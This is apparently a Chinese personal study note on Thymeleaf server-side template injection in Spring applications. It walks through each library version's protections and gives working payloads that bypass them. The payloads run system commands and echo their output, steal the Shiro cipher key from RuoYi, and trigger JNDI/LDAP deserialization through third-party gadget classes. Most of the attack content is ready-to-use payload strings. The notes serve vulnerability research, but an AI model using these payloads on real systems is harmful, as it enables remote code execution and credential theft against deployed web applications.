来源于珂字辈师傅的SSTI挑战,虽然没做出来,但还是恶补了一下相关知识,故记录
1 | <dependency> |
正常没有漏洞的写法:
1 | class HelloController { |
1 |
|
含有漏洞的写法:基本上return拼接都会有问题
1 | class HelloController { |
版本:thymeleaf-3.0.12.RELEASE
username=__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.
1 | __*{T (java.lang.Runtime).getRuntime().exec("calc")}__::. |
更低版本:
1 | __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::. |
不可能存在漏洞的几种情况:这几种情况Spring都不会去调用模板解析
- @ResponseBody、@RestController注解
- return拼接时如果时以redirect:开头,即302跳转
- 方法参数中设置HttpServletResponse 参数
Ruoyi-4.7.1的com.ruoyi.web.controller.monitor.CacheController就明显存在SSTI
3.0.11版本
无任何限制,
1 | __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::. |
3.0.12版本
新增检测
org.thymeleaf.spring5.util.SpringStandardExpressionUtils.containsSpELInstantiationOrStatic()
首先不允许出现new(wen的倒叙),可以用New绕过。其次T不能接(,可以用空格绕过。
1 | __${#response.addHeader("cmd",New java.util.Scanner(T (java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next())}__::. |
3.0.14版本
new的检测逻辑没变,还增加了一个param的检测,同样可以用大小写绕过。对T的检测更加严格,考虑了空格情况,基本没有绕过可能,但有New可以用还能接受。
org.thymeleaf.spring5.util.SpringRequestUtils.containsExpression()
对$*#@~要求后面不能接{,但是如果$*#@~后面是一个非空格符,就会将expInit置false,此时即使再接{也可以。换句话说就是说允许$${,这成了绕过关键。

1 | __|$${#response.addHeader("cmd","test")}|__::. |
3.0.15版本
检测逻辑无变化,但是在thymeleaf本体中增加了黑名单。

绕过黑名单:
1 | __|$${#response.addHeader("cmd","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("org.apache.commons.io.IOUtils.toString(java.lang.Runtime.getRuntime().exec('whoami').getInputStream())"))}|__::. |
在ruoyi 4.8.1中可以获得shiro key
1 | __|$${#response.addHeader("cmd",#response.getClass().forName("org.springframework.util.Base64Utils").encodeToString(@securityManager.rememberMeManager.cipherKey))}|__::. |
3.1.0版本
新增了安全措施.禁用默认的request/session/servletContext/response表达式对象。
但还是可以靠#ctx取到,一直到3.1.3都可以
1 | __|$${"".getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("New javax.naming.InitialContext().lookup('ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho')").getValue()}|__::. |
3.1.1版本
增加了黑名单

3.1.2版本
继续增加黑名单,前面的不能用了。可以看到黑名单上的基本都是thymeleaf+spring自己的依赖,只能去找第三方依赖。

不过New和forName()一直都是可以用的。
1 | __|$${New com.zaxxer.hikari.HikariConfig().setMetricRegistry("ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho")}|__::. |
1 | __|$${New com.mchange.v2.c3p0.WrapperConnectionPoolDataSource().setUserOverridesAsString("HexAsciiSerializedMap:ACED0000000000;")}|__::. |
1 | __|$${New org.yaml.snakeyaml.Yaml().load("!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: 'ldap://127.0.0.1:1389/deser:jackson1_100:tomcatecho', autoCommit: true}")}|__::. |
3.1.3版本
增加了对Class的方法白名单限制,只能用getName/isAssignableFrom等,因此forName()不能用了,但还有New可以用,所以3.1.2的都能用。

后续挑战
不让用new,也就是几乎无法实例化类了。那唯一的解决办法就是从已经实例化的内置对象中,挑选一个能帮助实例化。
S2-061是从ognl的内置对象application上取到了org.apache.catalina.core.DefaultInstanceManager
而DefaultInstanceManager就很有用了,它存在newInstance方法帮我们实例化对象。有两种方法都取得到这个方法:
1 | .getAttribute('org.apache.tomcat.InstanceManager') |
进行实例化:
1 | __|$*{#ctx.getExchange().getNativeResponseObject().addHeader("cmd",.getAttribute('org.apache.tomcat.InstanceManager').newInstance('org.springframework.expression.spel.standard.SpelExpressionParser').toString())}|__::. |
限制长度怎么办:
找到一处可以永久存储对象的地方,用来存储恶意对象,方便用多次请求来分解payload。
1 | .setAttribute("key", "value") |
因此简单的命令回显payload就出来了。
1 | __|$*{.setAttribute("p",.getAttribute("org.apache.tomcat.InstanceManager").newInstance("org.springframework.expression.spel.standard.SpelExpressionParser"))}|__::. |
使用内置@jacksonObjectMapper对象来实例化对象也是可行的,java代码如下
1 | //@jacksonObjectMapper |
SSTI:
1 | __|$*{.enableDefaultTyping()}|__::. |
使用jacksonObjectMapper的情况下,增加参数进行命令执行,比较优雅:
1 | ?username=__|$*{@jacksonObjectMapper.readValue("{}",@jacksonObjectMapper.getTypeFactory().findClass("org.springframework.expression.spel.standard.SpelExpressionParser")).parseExpression(#ctx.getExchange().getNativeRequestObject().getParameter('a')).getValue()}|__::. |